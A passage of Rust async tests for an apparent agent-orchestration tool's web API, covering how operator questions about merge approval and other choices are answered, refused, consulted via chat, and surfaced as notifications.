12118 let fx = Fixture {
12119 home: TempDir::new().unwrap(),
12120 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12121 };
12122 for choice in [
12123 crate::land::HOLD,
12124 crate::land::REPAIR,
12125 crate::land::APPROVE,
12126 crate::merge_decision::WITHDRAW,
12127 "reimplement:beta",
12128 ] {
12129 let mut q = Question::new(
12130 "old-run".into(),
12131 crate::land::APPROVAL_NODE.into(),
12132 "land".into(),
12133 "Decision".into(),
12134 "Review findings".into(),
12135 vec![
12136 "merge".into(),
12137 "hold".into(),
12138 crate::land::REPAIR.into(),
12139 crate::merge_decision::WITHDRAW.into(),
12140 "reimplement:beta".into(),
12141 ],
12142 );
12143 q.merge_target = Some(crate::merge_decision::Target {
12144 pr: "https://github.com/example/repo/pull/42".into(),
12145 head: "exact-reviewed-head".into(),
12146 language: "ja".into(),
12147 });
12148 q.consult = Some(ask::ChatConsult {
12149 talk: "another-conversation".into(),
12150 at: jiff::Timestamp::now(),
12151 });
12152 fx.questions().put(&mut q).unwrap();
12153 let ui = Arc::new(Ui::new(
12154 fx.queue(),
12155 fx.questions(),
12156 fx.talks(),
12157 fx.runs(),
12158 fx.home.path().into(),
12159 std::path::PathBuf::from("."),
12160 ));
12161 let response = question_answer(
12162 State(ui.clone()),
12163 Path(q.id.clone()),
12164 Ok(Json(NewAnswer {
12165 choice: Some(choice.into()),
12166 text: None,
12167 ..Default::default()
12168 })),
12169 )
12170 .await
12171 .unwrap();
12172 assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12173 let disk = fx.questions().get(&q.id).unwrap();
12174 assert_eq!(disk.merge_target, q.merge_target);
12175 assert_eq!(disk.consult, q.consult);
12176 assert!(
12177 disk.answer_authority.is_none(),
12178 "a direct owner card is its own decision"
12179 );
12180 assert_eq!(disk.resolution().as_deref(), Some(choice));
12181 assert!(
12182 question_answer(
12183 State(ui),
12184 Path(q.id.clone()),
12185 Ok(Json(NewAnswer {
12186 choice: Some("merge".into()),
12187 text: None,
12188 ..Default::default()
12189 }))
12190 )
12191 .await
12192 .is_err(),
12193 "an already settled decision cannot turn into merge approval"
12194 );
12195 }
12196 }
12197
12198 #[tokio::test]
12199 async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12200 let fx = Fixture {
12201 home: TempDir::new().unwrap(),
12202 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12203 };
12204 let mut state = crate::land::tests::repair_state(true, true);
12205 state.status = RunStatus::Landing;
12206 state.parked = true;
12207 state.driver_exited = true;
12208 let mut task = Task::new(
12209 "Existing PR owner".into(),
12210 state.instruction.clone(),
12211 state.repo.clone(),
12212 Source::Human,
12213 );
12214 task.runs.push(state.id.clone());
12215 task.status = TaskStatus::Parked;
12216 fx.queue().put(&mut task).unwrap();
12217 let mut q = Question::new(
12218 state.id.clone(),
12219 crate::land::APPROVAL_NODE.into(),
12220 "land".into(),
12221 "Contested merge".into(),
12222 "Original evidence".into(),
12223 vec!["merge".into(), "hold".into()],
12224 );
12225 state.land_approval = Some(crate::run::LandApproval {
12226 question: q.id.clone(),
12227 head: "reviewed-head".into(),
12228 });
12229 state.save_under(fx.home.path()).unwrap();
12230 fx.questions().put(&mut q).unwrap();
12231 task.hold_manual(Some("Pause this PR".into()));
12233 fx.queue().put(&mut task).unwrap();
12234 let ui = Arc::new(Ui::new(
12237 fx.queue(),
12238 fx.questions(),
12239 fx.talks(),
12240 fx.runs(),
12241 fx.home.path().to_path_buf(),
12242 state.repo.clone(),
12243 ));
12244 let response = question_answer(
12245 State(ui),
12246 Path(q.id.clone()),
12247 Ok(Json(NewAnswer {
12248 choice: Some(crate::land::REPAIR.into()),
12249 text: None,
12250 ..Default::default()
12251 })),
12252 )
12253 .await
12254 .unwrap();
12255 assert_eq!(response.0.question.id, q.id);
12256 let upgraded = fx.questions().get(&q.id).unwrap();
12257 assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12258 assert!(upgraded.detail.starts_with("Original evidence"));
12259 let claim = fx.queue().claim(&task.id).unwrap();
12260 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12261 assert!(
12262 fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12263 "an existing driver keeps its claim"
12264 );
12265 drop(claim);
12266 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12267 let resumed = fx.queue().get(&task.id).unwrap();
12268 assert_eq!(
12269 resumed
12270 .resume_override
12271 .as_ref()
12272 .unwrap()
12273 .pinned_run
12274 .as_deref(),
12275 Some(state.id.as_str())
12276 );
12277 assert!(resumed.status.runnable());
12278 assert_eq!(resumed.instruction, task.instruction);
12279 assert_eq!(resumed.runs, task.runs);
12280 assert!(resumed.action_applied(&q.id));
12281 crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12282 assert_eq!(fx.queue().list().len(), 1);
12283 assert_eq!(
12284 fx.queue().get(&task.id).unwrap().resume_override,
12285 resumed.resume_override
12286 );
12287 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12288 assert!(
12289 disk.merge_repairs.is_empty(),
12290 "only the claimed run driver may execute repair"
12291 );
12292 assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12293 }
12294
12295 #[tokio::test]
12296 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12297 let fx = Fixture::start().await;
12298 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12299 let path = format!("/api/questions/{id}/answer");
12300
12301 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12302 assert_eq!(res.status, 200, "{}", res.body);
12303 let body = res.json();
12304 assert_eq!(body["status"], "answered");
12305 assert_eq!(body["answer"]["choice"], "Redis");
12306
12307 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12311 assert_eq!(again.status, 409, "{}", again.body);
12312 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12313 }
12314
12315 #[tokio::test]
12316 async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12317 let home = tempfile::tempdir().unwrap();
12318 let ui = delta_test_ui(home.path());
12319 let mut q = Question::new(
12320 "task".into(),
12321 crate::land::APPROVAL_NODE.into(),
12322 "land".into(),
12323 "Explain?".into(),
12324 String::new(),
12325 vec!["hold".into()],
12326 );
12327 q.deputy = Some(ask::Deputy::new("context".into()));
12328 ui.questions.put(&mut q).unwrap();
12329 let mut cfg = stub_config();
12330 cfg.daemon.max_deputies = 0;
12331 let mut status = crate::daemon::Status::new();
12332 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12333 crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12334 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12335 let error = question_say(
12336 State(ui.clone()),
12337 Path(q.id.clone()),
12338 Ok(Json(NewSay {
12339 body: "Explain the findings".into(),
12340 })),
12341 )
12342 .await
12343 .unwrap_err();
12344 assert_eq!(
12345 error.text_reason,
12346 Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12347 );
12348 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12349
12350 let mut text = Question::new(
12351 "task".into(),
12352 "ask".into(),
12353 "operator".into(),
12354 "Which name?".into(),
12355 String::new(),
12356 vec![],
12357 );
12358 ui.questions.put(&mut text).unwrap();
12359 let Json(view) = question_answer(
12360 State(ui.clone()),
12361 Path(text.id.clone()),
12362 Ok(Json(NewAnswer {
12363 choice: None,
12364 text: Some("chosen name".into()),
12365 ..Default::default()
12366 })),
12367 )
12368 .await
12369 .unwrap();
12370 assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12371 assert!(!ui.questions.get(&text.id).unwrap().status.open());
12372 }
12373
12374 #[tokio::test]
12375 async fn question_text_handler_admission_without_transport() {
12376 let home = tempfile::tempdir().unwrap();
12377 let ui = delta_test_ui(home.path());
12378 let mut q = Question::new(
12379 "task".into(),
12380 crate::land::APPROVAL_NODE.into(),
12381 "land".into(),
12382 "May this PR merge?".into(),
12383 String::new(),
12384 vec!["hold".into()],
12385 );
12386 q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12387 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12388 ui.questions.put(&mut q).unwrap();
12389 let say = || {
12390 Ok(Json(NewSay {
12391 body: "Explain the findings".into(),
12392 }))
12393 };
12394 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12395 .await
12396 .unwrap_err();
12397 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12398 let response = rejected.into_response();
12399 let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12400 .await
12401 .unwrap();
12402 let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12403 assert_eq!(body["code"], "question_text_unavailable");
12404 assert_eq!(body["reason"], "deputy_exhausted");
12405 assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12406 assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12407 ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12408 let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12409 .await
12410 .unwrap();
12411 assert_eq!(view.text_delivery.state, "live");
12412 assert!(view.question.waiter.is_none());
12413 assert!(view.question.cwd.is_none());
12414 let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12415 ui.questions.drop_lease(&q.id);
12416 let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12417 .await
12418 .unwrap_err();
12419 assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12420 assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12421 let _ = question_answer(
12422 State(ui.clone()),
12423 Path(q.id.clone()),
12424 Ok(Json(NewAnswer {
12425 choice: Some("hold".into()),
12426 text: None,
12427 ..Default::default()
12428 })),
12429 )
12430 .await
12431 .unwrap();
12432 assert_eq!(
12433 ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12434 Some("hold")
12435 );
12436 }
12437
12438 #[tokio::test]
12439 async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12440 let fx = Fixture::start().await;
12441 let store = fx.questions();
12442 let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12443 store
12444 .update(&id, |q| {
12445 q.node = crate::land::APPROVAL_NODE.to_owned();
12446 q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12447 q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12448 Ok(())
12449 })
12450 .unwrap();
12451 let path = format!("/api/questions/{id}/say");
12452 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12453 assert_eq!(refused.status, 422, "{}", refused.body);
12454 assert!(
12455 refused.json()["error"]
12456 .as_str()
12457 .unwrap()
12458 .contains("deputy_exhausted")
12459 );
12460 assert!(store.get(&id).unwrap().thread.is_empty());
12461
12462 store.beat(&id, ask::WaiterKind::Deputy);
12464 let view = fx.get("/api/questions").await.json();
12465 assert_eq!(view[0]["text_delivery"]["state"], "live");
12466 let accepted = fx
12467 .post(&path, Some(r#"{"body":"explain the findings"}"#))
12468 .await;
12469 assert_eq!(accepted.status, 200, "{}", accepted.body);
12470 let before = std::fs::read(store.path_of(&id)).unwrap();
12471
12472 store.drop_lease(&id);
12475 let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12476 assert_eq!(refused.status, 422, "{}", refused.body);
12477 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12478 let held = fx
12479 .post(
12480 &format!("/api/questions/{id}/answer"),
12481 Some(r#"{"choice":"hold"}"#),
12482 )
12483 .await;
12484 assert_eq!(held.status, 200, "{}", held.body);
12485 assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12486 }
12487
12488 #[tokio::test]
12489 async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12490 let repo = tempfile::tempdir().unwrap();
12491 let mut cfg = stub_config();
12492 cfg.daemon.max_deputies = 0;
12493 std::fs::write(
12494 repo.path().join("magi.toml"),
12495 toml::to_string(&cfg).unwrap(),
12496 )
12497 .unwrap();
12498 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12499 let mut status = crate::daemon::Status::new();
12500 status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12501 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12502 let id = ask(&fx, "Explain?", &["hold"]);
12503 fx.questions()
12504 .update(&id, |q| {
12505 q.node = crate::land::APPROVAL_NODE.into();
12506 q.deputy = Some(ask::Deputy::new("context".into()));
12507 q.deputy.as_mut().unwrap().agent = "stub".into();
12508 Ok(())
12509 })
12510 .unwrap();
12511 cfg.daemon.max_deputies = 1;
12512 std::fs::write(
12513 repo.path().join("magi.toml"),
12514 toml::to_string(&cfg).unwrap(),
12515 )
12516 .unwrap();
12517 let view = fx.get("/api/questions").await.json();
12518 assert_eq!(view[0]["deputies_enabled"], true);
12519 assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12520 let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12521 let res = fx
12522 .post(
12523 &format!("/api/questions/{id}/say"),
12524 Some(r#"{"body":"Please explain"}"#),
12525 )
12526 .await;
12527 assert_eq!(res.status, 422, "{}", res.body);
12528 assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12529 }
12530
12531 #[tokio::test]
12532 async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12533 let fx = Fixture::start().await;
12534 let id = ask(&fx, "No seat", &[]);
12535 let store = fx.questions();
12536 let before = std::fs::read(store.path_of(&id)).unwrap();
12537 let res = fx
12538 .post(
12539 &format!("/api/questions/{id}/say"),
12540 Some(r#"{"body":"hello"}"#),
12541 )
12542 .await;
12543 assert_eq!(res.status, 422, "{}", res.body);
12544 assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12545 let res = fx
12546 .post(
12547 &format!("/api/questions/{id}/answer"),
12548 Some(r#"{"text":"hello"}"#),
12549 )
12550 .await;
12551 assert_eq!(res.status, 200, "{}", res.body);
12552 assert_eq!(
12553 store.get(&id).unwrap().resolution().as_deref(),
12554 Some("hello")
12555 );
12556 }
12557
12558 #[tokio::test]
12559 async fn saying_something_appends_a_turn_without_answering() {
12560 let fx = Fixture::start().await;
12561 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12562 fx.questions().beat(&id, ask::WaiterKind::Asker);
12563 let path = format!("/api/questions/{id}/say");
12564
12565 let res = fx
12566 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12567 .await;
12568 assert_eq!(res.status, 200, "{}", res.body);
12569 let body = res.json();
12570 assert_eq!(body["status"], "open", "talking back is not a decision");
12571 assert_eq!(body["answer"], Value::Null);
12572 assert_eq!(body["thread"][0]["who"], "operator");
12573 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12574 assert_eq!(body["waiting_on_agent"], true);
12575 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12577 }
12578
12579 #[tokio::test]
12580 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12581 let fx = Fixture::start().await;
12582 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12583
12584 let list = fx.get("/api/questions").await.json();
12585 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12586
12587 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12588 assert_eq!(res.status, 409, "{}", res.body);
12589 let q = fx.questions().get(&id).unwrap();
12590 assert!(q.status.open());
12591 assert!(q.consult.is_none());
12592 }
12593
12594 #[tokio::test]
12595 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12596 let fx = Fixture::start().await;
12597 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12598 let cfg = Config {
12599 agents: vec![crate::config::AgentSpec {
12600 id: "mock".to_owned(),
12601 kind: crate::config::AgentKind::Command,
12602 model: None,
12603 command: vec!["true".to_owned()],
12604 extra_args: Vec::new(),
12605 env: Default::default(),
12606 prompt_delivery: None,
12607 max_turn_secs: None,
12608 }],
12609 ..Config::default()
12610 };
12611 let talk = crate::talk::begin(
12612 &fx.talks(),
12613 &cfg,
12614 fx.home.path().to_path_buf(),
12615 Some("mock"),
12616 )
12617 .unwrap();
12618 let mut task = Task::new(
12619 "t".to_owned(),
12620 "Do it".to_owned(),
12621 PathBuf::from("/repo/magi"),
12622 Source::Agent {
12623 run: talk.id.clone(),
12624 node: crate::queue::CHAT_NODE.to_owned(),
12625 },
12626 );
12627 task.start("20260902-000000-beef".to_owned());
12628 fx.queue().put(&mut task).unwrap();
12629
12630 let list = fx.get("/api/questions").await.json();
12631 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12632 assert_eq!(
12633 list[0]["choices"],
12634 serde_json::json!(["SQLite", "Redis"]),
12635 "the hand-over is never a choice"
12636 );
12637 fx.questions()
12638 .update(&id, |q| {
12639 q.node = crate::land::APPROVAL_NODE.into();
12640 q.choices = vec!["merge".into(), "hold".into()];
12641 Ok(())
12642 })
12643 .unwrap();
12644 let list = fx.get("/api/questions").await.json();
12645 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12646 assert_eq!(list[0]["can_consult_chat"], true);
12647 fx.questions()
12648 .update(&id, |q| {
12649 q.node = crate::bump::NOTICE_NODE.into();
12650 Ok(())
12651 })
12652 .unwrap();
12653 let list = fx.get("/api/questions").await.json();
12654 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12655 assert_eq!(list[0]["can_consult_chat"], false);
12656 }
12657
12658 #[tokio::test]
12659 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
12660 let fx = Fixture::start().await;
12661 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12662 fx.questions()
12663 .update(&id, |q| {
12664 q.node = crate::land::APPROVAL_NODE.into();
12665 q.choices = vec!["merge".into(), "hold".into()];
12666 Ok(())
12667 })
12668 .unwrap();
12669 let cfg = Config {
12670 agents: vec![crate::config::AgentSpec {
12671 id: "mock".to_owned(),
12672 kind: crate::config::AgentKind::Command,
12673 model: None,
12674 command: vec!["true".to_owned()],
12675 extra_args: Vec::new(),
12676 env: Default::default(),
12677 prompt_delivery: None,
12678 max_turn_secs: None,
12679 }],
12680 ..Config::default()
12681 };
12682 let repo = fx.home.path().join("chat-repo");
12684 std::fs::create_dir_all(&repo).unwrap();
12685 let toml = repo.join("magi.toml");
12686 std::fs::write(&toml, "this is = = not toml").unwrap();
12687 let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
12688 let mut task = Task::new(
12689 "t".to_owned(),
12690 "Do it".to_owned(),
12691 PathBuf::from("/repo/magi"),
12692 Source::Agent {
12693 run: talk.id.clone(),
12694 node: crate::queue::CHAT_NODE.to_owned(),
12695 },
12696 );
12697 task.start("20260902-000000-beef".to_owned());
12698 fx.queue().put(&mut task).unwrap();
12699
12700 let path = format!("/api/questions/{id}/consult");
12701 let res = fx.post(&path, None).await;
12702 assert!(res.status >= 400, "{}", res.body);
12703 assert!(fx.questions().get(&id).unwrap().consult.is_none());
12704 assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
12705
12706 std::fs::write(&toml, "").unwrap();
12707 let res = fx.post(&path, None).await;
12708 assert_eq!(res.status, 202, "{}", res.body);
12709 assert!(fx.questions().get(&id).unwrap().consult.is_some());
12710 let q = fx.questions().get(&id).unwrap();
12711 assert!(q.status.open());
12712 assert!(q.answer.is_none());
12713 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12714 assert_eq!(res.json()["can_consult_chat"], true);
12715 let list = fx.get("/api/questions").await.json();
12716 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12717 assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
12718
12719 let res = fx
12720 .post(
12721 &format!("/api/questions/{id}/answer"),
12722 Some(r#"{"choice":"hold"}"#),
12723 )
12724 .await;
12725 assert_eq!(res.status, 200, "{}", res.body);
12726 assert_eq!(res.json()["answer"]["choice"], "hold");
12727 assert_eq!(res.json()["origin_chat"], talk.id.as_str());
12728 assert_eq!(res.json()["can_consult_chat"], false);
12729 assert_eq!(fx.post(&path, None).await.status, 409);
12730
12731 let mut talk = fx.talks().get(&talk.id).unwrap();
12732 crate::talk::close(&mut talk, &fx.talks()).unwrap();
12733 let list = fx.get("/api/questions").await.json();
12734 assert_eq!(list[0]["origin_chat"], talk.id.as_str());
12735 assert_eq!(list[0]["origin_chat_closed"], true);
12736 assert_eq!(list[0]["can_consult_chat"], false);
12737
12738 fx.talks().remove(&talk.id).unwrap();
12739 let list = fx.get("/api/questions").await.json();
12740 assert_eq!(list[0]["origin_chat"], Value::Null);
12741 assert_eq!(list[0]["origin_chat_closed"], false);
12742 assert_eq!(list[0]["can_consult_chat"], false);
12743 }
12744
12745 #[tokio::test]
12746 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
12747 let fx = Fixture::start().await;
12748 let store = fx.questions();
12749 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12750 store.beat(&id, ask::WaiterKind::Asker);
12751 assert_eq!(
12752 fx.get("/api/health").await.json()["questions_needs_owner"],
12753 1
12754 );
12755
12756 let res = fx
12762 .post(
12763 &format!("/api/questions/{id}/say"),
12764 Some(r#"{"body":"why not Postgres?"}"#),
12765 )
12766 .await;
12767 assert_eq!(res.status, 200, "{}", res.body);
12768 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12769 assert_eq!(
12770 fx.get("/api/health").await.json()["questions_needs_owner"],
12771 0,
12772 "waiting on the agent is not waiting on the owner"
12773 );
12774
12775 let mut q = store.get(&id).expect("get");
12779 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
12780 .expect("reply");
12781 store.put(&mut q).expect("put");
12782 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12783 assert_eq!(
12784 fx.get("/api/health").await.json()["questions_needs_owner"],
12785 1,
12786 "the agent's reply is what should light the banner back up"
12787 );
12788 }
12789
12790 #[tokio::test]
12791 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
12792 let fx = Fixture::start().await;
12793 let store = fx.questions();
12794
12795 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12796 let res = fx
12797 .post(
12798 &format!("/api/questions/{empty_id}/say"),
12799 Some(r#"{"body":" "}"#),
12800 )
12801 .await;
12802 assert_eq!(res.status, 400, "{}", res.body);
12803
12804 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12805 let mut answered = store.get(&answered_id).expect("get");
12806 answered
12807 .answer(Answer::Choice("SQLite".to_owned()))
12808 .expect("answer");
12809 store.put(&mut answered).expect("put");
12810 let res = fx
12811 .post(
12812 &format!("/api/questions/{answered_id}/say"),
12813 Some(r#"{"body":"still there?"}"#),
12814 )
12815 .await;
12816 assert_eq!(res.status, 409, "{}", res.body);
12817
12818 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12819 let mut abandoned = store.get(&abandoned_id).expect("get");
12820 abandoned.abandon("timed out");
12821 store.put(&mut abandoned).expect("put");
12822 let res = fx
12823 .post(
12824 &format!("/api/questions/{abandoned_id}/say"),
12825 Some(r#"{"body":"still there?"}"#),
12826 )
12827 .await;
12828 assert_eq!(res.status, 409, "{}", res.body);
12829 }
12830
12831 #[tokio::test]
12832 async fn an_answer_the_question_does_not_offer_is_refused() {
12833 let fx = Fixture::start().await;
12834 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12835 let path = format!("/api/questions/{id}/answer");
12836
12837 for body in [
12838 r#"{"choice":"Postgres"}"#,
12839 r#"{"text":"whatever you think"}"#,
12840 r#"{"choice":"Redis","text":"both"}"#,
12841 r#"{}"#,
12842 ] {
12843 let res = fx.post(&path, Some(body)).await;
12844 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
12845 assert!(res.json()["error"].is_string(), "{}", res.body);
12846 }
12847 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12849 }
12850
12851 #[tokio::test]
12852 async fn a_free_text_question_takes_text_and_not_a_choice() {
12853 let fx = Fixture::start().await;
12854 let id = ask(&fx, "What should the flag be called?", &[]);
12855 fx.questions().beat(&id, ask::WaiterKind::Asker);
12856 let path = format!("/api/questions/{id}/answer");
12857
12858 assert_eq!(
12859 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
12860 400
12861 );
12862 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
12863 assert_eq!(res.status, 200, "{}", res.body);
12864 assert_eq!(res.json()["answer"]["text"], "--json");
12865 }
12866
12867 #[tokio::test]
12868 async fn an_unknown_question_is_a_json_404() {
12869 let fx = Fixture::start().await;
12870 let res = fx
12871 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
12872 .await;
12873 assert_eq!(res.status, 404, "{}", res.body);
12874 assert!(res.json()["error"].is_string());
12875 }
12876
12877 #[tokio::test]
12878 async fn notifications_resolve_live_questions_without_changing_saved_notices() {
12879 let fx = Fixture::start().await;
12880 let questions = Questions::at(fx.home.path().join("questions"));
12881 let store = Notices::at(fx.home.path().join("notifications"));
12882 let mut q = ask::Question::new(
12883 "t1".into(),
12884 "conduct".into(),
12885 "conductor".into(),
12886 "Continue?".into(),
12887 String::new(),
12888 Vec::new(),
12889 );
12890 questions.put(&mut q).unwrap();
12891 let mut n = Notice::warn("task:t1", "Task t1 is held.");
12892 n.covered_by = Some(q.id.clone());
12893 let n = store.raise(n).unwrap();
12894 let listed = fx.get("/api/notifications").await.json();
12895 assert_eq!(listed["items"][0]["answerable_question"], q.id);
12896 questions
12897 .update(&q.id, |q| {
12898 q.abandon("run gone");
12899 Ok(())
12900 })
12901 .unwrap();
12902 let listed = fx.get("/api/notifications").await.json();
12903 assert!(listed["items"][0]["answerable_question"].is_null());
12904 assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
12905 assert!(
12906 !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
12907 .unwrap()
12908 .contains("answerable_question")
12909 );
12910 }
12911
12912 #[tokio::test]
12913 async fn notifications_list_read_dismiss_and_health_agree() {
12914 let fx = Fixture::start().await;
12915 let store = Notices::at(fx.home.path().join("notifications"));
12916 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
12917 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
12918
12919 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
12920 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
12921
12922 store
12923 .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
12924 .unwrap();
12925 let health = fx.get("/api/health").await.json();
12926 assert_eq!(health["notifications_unread"], 2);
12927 assert_ne!(
12928 health["notifications_rev"], rev0,
12929 "the badge must move live"
12930 );
12931
12932 let listed = fx.get("/api/notifications").await.json();
12933 assert_eq!(listed["unread"], 2);
12934 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
12935 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
12936
12937 let read = fx
12938 .post(&format!("/api/notifications/{}/read", a.id), None)
12939 .await;
12940 assert_eq!(read.status, 200, "{}", read.body);
12941 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
12942
12943 let gone = fx
12944 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
12945 .await;
12946 assert_eq!(gone.status, 200, "{}", gone.body);
12947 let listed = fx.get("/api/notifications").await.json();
12948 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
12949 assert_eq!(listed["unread"], 0);
12950
12951 store.raise(Notice::info("x", "again")).unwrap();
12952 let all = fx.post("/api/notifications/read-all", None).await;
12953 assert_eq!(all.status, 200, "{}", all.body);
12954 assert_eq!(all.json()["marked"], 1);
12955 assert_eq!(
12956 fx.get("/api/health").await.json()["notifications_unread"],
12957 0
12958 );
12959
12960 let missing = fx.post("/api/notifications/nope/read", None).await;
12961 assert_eq!(missing.status, 404, "{}", missing.body);
12962 assert!(missing.json()["error"].is_string());
12963 }
12964
12965 #[tokio::test]
12972 async fn a_task_cannot_be_filed_over_the_phone_directly() {
12973 let f = Fixture::start().await;
12974
12975 let res = f
12976 .post(
12977 "/api/queue",
12978 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
12979 )
12980 .await;
12981
12982 assert_eq!(
12983 res.status, 405,
12984 "POST /api/queue must not be a route: {}",
12985 res.body
12986 );
12987 assert!(
12988 f.queue().list().is_empty(),
12989 "a task filed by a route that does not exist must not reach the disk"
12990 );
12991 assert_eq!(f.get("/api/queue").await.status, 200);
12994 }
12995
12996 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
12998 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
12999 .expect("checkout dir");
13000 }
13001
13002 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
13004
13005 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
13006 let tmp = TempDir::new().expect("tempdir");
13007 let repo = tmp.path().join("repo");
13008 std::fs::create_dir_all(&repo).expect("repo dir");
13009 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
13010 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
13011 if let Some(text) = machine_toml {
13012 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
13013 std::fs::write(&machine, text).expect("machine toml");
13014 }
